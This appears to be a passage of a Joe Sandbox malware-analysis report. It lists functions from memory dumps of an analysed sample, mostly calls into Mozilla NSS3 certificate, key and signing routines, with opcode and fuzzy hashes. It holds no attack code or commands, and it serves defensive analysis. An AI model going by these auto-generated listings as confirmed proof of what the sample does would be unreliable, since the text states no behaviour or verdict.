_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CD1AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CD1AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CD1AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD1B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD1B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD1B070
PR_JoinThread.NSS3(?), ref: 6CD1B07B
free.MOZGLUE(?), ref: 6CD1B084
EnterCriticalSection.KERNEL32(?), ref: 6CD1B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CD1B0C4
PR_JoinThread.NSS3(?), ref: 6CD1B0F3
free.MOZGLUE(?), ref: 6CD1B0FC
PR_JoinThread.NSS3(?), ref: 6CD1B137
free.MOZGLUE(?), ref: 6CD1B140

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: cd9391a2aafdfb66684ac9c781077c31bfb759293dfd4d9338389acc166779fe
Instruction ID: a6f2d16ad7adaf2f5b8b0ca52290b13fd598027b78ac05254a31839884d2c3e9
Opcode Fuzzy Hash: cd9391a2aafdfb66684ac9c781077c31bfb759293dfd4d9338389acc166779fe
Instruction Fuzzy Hash: 3E914FB5A04601DFCB04DF14D88085ABBF1FF4931C72985A9D8195BB62E732FD4ACB91

Function 6CC95CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CC92BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92BF0
Part of subcall function 6CC92BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C07
Part of subcall function 6CC92BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C1E
Part of subcall function 6CC92BE0: free.MOZGLUE(?,00000000,00000000,?,6CC92A28,00000060,00000001), ref: 6CC92C4A

free.MOZGLUE(?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D0F
free.MOZGLUE(?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D4E
free.MOZGLUE(?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D62
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D85
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95D99
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E3E
free.MOZGLUE(?,?,?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E47
free.MOZGLUE(?,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC980C1), ref: 6CC95E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CC9AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC95E78
free.MOZGLUE(?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC9AAD4), ref: 6CC95F4B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: a290873316483a49c43c20cd8694f42a29029a41e100c33af0e70863ef7a3160
Instruction ID: 8cb38d7dddc7f1687adbf434bc30c06f41db6e078bf2817a30786d2c4b10bdff
Opcode Fuzzy Hash: a290873316483a49c43c20cd8694f42a29029a41e100c33af0e70863ef7a3160
Instruction Fuzzy Hash: B57190B9A00B019FD700DF24D884A93B7B5BF89309F148669E85E87B11EB32F955CB91

Function 6CC18DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC18E22
EnterCriticalSection.KERNEL32(?), ref: 6CC18E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC18E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC18E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC18EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC18EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC18EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F00
free.MOZGLUE(?), ref: 6CC18F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC18F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC18F5B
PR_Unlock.NSS3(?), ref: 6CC18F72
PR_Unlock.NSS3(?), ref: 6CC18F82

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 50b13367508cc2ac083c058c8799b839f6bba98a54aee7f0edc47c43200ffb3f
Instruction ID: f5de9f41dd1f5a6049a432333cd8403887abfc0528f2305bc30f7add7d10e3bb
Opcode Fuzzy Hash: 50b13367508cc2ac083c058c8799b839f6bba98a54aee7f0edc47c43200ffb3f
Instruction Fuzzy Hash: AC51F2B6D082019FEB009F6ADC84D6AB7B9BF45318B164129EC089BF50F731ED4587E1

Function 6CC3CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CC3CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC3CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CC3CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CC3CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CC3CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC3CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CC3CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CC3CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CC3CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CC3CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CC3CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CC3CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CC3CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CC3D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CC3D021

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: e8003aa8d362681036ed031abcc946982afd18918670553ea566b80def8e236e
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: BB316571B6292027EF0E105A6D71BDE148A4B6670FF841038F94EE67C0F6C99A3702ED

Function 6CD10FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD11000

Part of subcall function 6CCC9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBF1A48), ref: 6CCC9BB3
Part of subcall function 6CCC9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBF1A48), ref: 6CCC9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD11016

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PR_Unlock.NSS3(?), ref: 6CD11021

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD11046
PR_Unlock.NSS3(?), ref: 6CD1106B
PR_Lock.NSS3 ref: 6CD11079
PR_Unlock.NSS3 ref: 6CD11096
free.MOZGLUE(?), ref: 6CD110A7
free.MOZGLUE(?), ref: 6CD110B4
PR_DestroyCondVar.NSS3(?), ref: 6CD110BF
PR_DestroyCondVar.NSS3(?), ref: 6CD110CA
PR_DestroyCondVar.NSS3(?), ref: 6CD110D5
PR_DestroyCondVar.NSS3(?), ref: 6CD110E0
PR_DestroyLock.NSS3(?), ref: 6CD110EB
free.MOZGLUE(?), ref: 6CD11105

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 258330fed9b61d1e5065678be9b65ac6eb576f95757e677750bc04c66a7a7c39
Instruction ID: 77938d698056820367633c10bac1a3ea4ac94a6bbfc6a23a6400591537bb5686
Opcode Fuzzy Hash: 258330fed9b61d1e5065678be9b65ac6eb576f95757e677750bc04c66a7a7c39
Instruction Fuzzy Hash: E331ACB9D00442AFE701AF50EC41A59BB76BF11358B084134E80903F61E732F878DBD2

Function 6CC25E60 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC25ECF
EnterCriticalSection.KERNEL32(?), ref: 6CC25EE3
PR_Unlock.NSS3(?), ref: 6CC25F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CC25FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CC261F4

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 128e97c58f58696011d817385307921c30b1a51baae57dc4d940ea3833213aff
Instruction ID: 5ff04efd744e9dbf5a9293564738ac5f5bdd8e9979b8b238452029bc120f63c9
Opcode Fuzzy Hash: 128e97c58f58696011d817385307921c30b1a51baae57dc4d940ea3833213aff
Instruction Fuzzy Hash: 57F115B5A002158FEB54CF19C884B86BBF4FF09304F5582AADD089B346E774EA95CF91

Function 6CB8DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB8DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CB8DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB8DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CB8DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8DECD

Strings

database corruption, xrefs: 6CB8DF77, 6CB8DFE7
%s at line %d of [%.10s], xrefs: 6CB8DF7C, 6CB8DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8DF6D, 6CB8DFCC, 6CB8DFDD

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: bc314fa8a493316300430716127ddd6a6f7cc2809c5dd22e36e6e6a6d241ae94
Instruction ID: cbb3bff0f3f0998939ecffaf53bb0c77ada617a0dd979c3023c431dec8b2891a
Opcode Fuzzy Hash: bc314fa8a493316300430716127ddd6a6f7cc2809c5dd22e36e6e6a6d241ae94
Instruction Fuzzy Hash: A1A1F6716052929FD710DF29D880A6AB7F5EF85308F15892FF8898BF51D730E845CBA2

Function 6CC4EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC4EE0B

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC4EEE1

Part of subcall function 6CC41D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC41D7E
Part of subcall function 6CC41D50: EnterCriticalSection.KERNEL32(?), ref: 6CC41D8E
Part of subcall function 6CC41D50: PR_Unlock.NSS3(?), ref: 6CC41DD3

TlsGetValue.KERNEL32 ref: 6CC4EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC4EE65
PR_Unlock.NSS3(?), ref: 6CC4EEA2
free.MOZGLUE(?), ref: 6CC4EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC4EED0
PR_Unlock.NSS3(?), ref: 6CC4EF48
free.MOZGLUE(?), ref: 6CC4EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC4EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC4EFA4
free.MOZGLUE(?), ref: 6CC4EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC4F055
free.MOZGLUE(?), ref: 6CC4F060

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 4a7144095c2b0d5a9efac91939682367c0adda1bfdaafc072274d69668efed7c
Instruction ID: 6e31f091483f65f171cd67aa646960dfe2f61025a35faf113506b72b5b61b122
Opcode Fuzzy Hash: 4a7144095c2b0d5a9efac91939682367c0adda1bfdaafc072274d69668efed7c
Instruction Fuzzy Hash: 3B816375A00209AFEB00DFA5DC45FDEBBB9BF49318F558028E909A3611F731D924CBA1

Function 6CC14CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC14D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC14D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC14DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC14E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC14E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC14E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC14E85
DER_Encode_Util.NSS3(?,?,6CD605A4,00000000), ref: 6CC14EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC14F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC14F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC14F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC14F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC14F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC14FC8

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 71b8fcd9ad6912da0045283b13e20e60d397508c2229830b6fab83e4e5d2d075
Instruction ID: d316b7543ec6d6fb2062cf9248feee7fca355ff0ec8f6ce8cb2231c8885c9b70
Opcode Fuzzy Hash: 71b8fcd9ad6912da0045283b13e20e60d397508c2229830b6fab83e4e5d2d075
Instruction Fuzzy Hash: 43818E71908301AFE701CF2AD880B5AB7E8AF8575CF148929F958DBB41F731E905CB92

Function 6CC55C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CC55C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CC55CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CC55CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CC55D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CC55D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CC55E18
TlsGetValue.KERNEL32 ref: 6CC55E5E
EnterCriticalSection.KERNEL32(?), ref: 6CC55E72
PR_Unlock.NSS3(?), ref: 6CC55E8B

Part of subcall function 6CC4F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC4F854
Part of subcall function 6CC4F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC4F868
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC4F882
Part of subcall function 6CC4F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC4F889
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC4F8A4
Part of subcall function 6CC4F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC4F8AB
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC4F8C9
Part of subcall function 6CC4F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC4F8D0

Strings

d, xrefs: 6CC55C36
tokens=[0x%x=<%s>], xrefs: 6CC55D3D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 929def61d40af368adef010ef0da8e35099963c52a5a5885b844830165465b79
Instruction ID: be3bca0a2565cb0dac138b9a3b7f4e2eb0de172b6590383919264b8b15d566d8
Opcode Fuzzy Hash: 929def61d40af368adef010ef0da8e35099963c52a5a5885b844830165465b79
Instruction Fuzzy Hash: 6B71F2F1F041019BEB019F25DC45B6A3279BF4531CF944035E80A9AB42FB76E935CBAA

Function 6CC48F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC49582), ref: 6CC48F5B

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC48F6A

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC48FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC48FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD2D820,6CC49576), ref: 6CC48FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC4901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC4903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC49062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC490A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC490CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC490F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC4912D
free.MOZGLUE(00000000), ref: 6CC49136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC49145

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
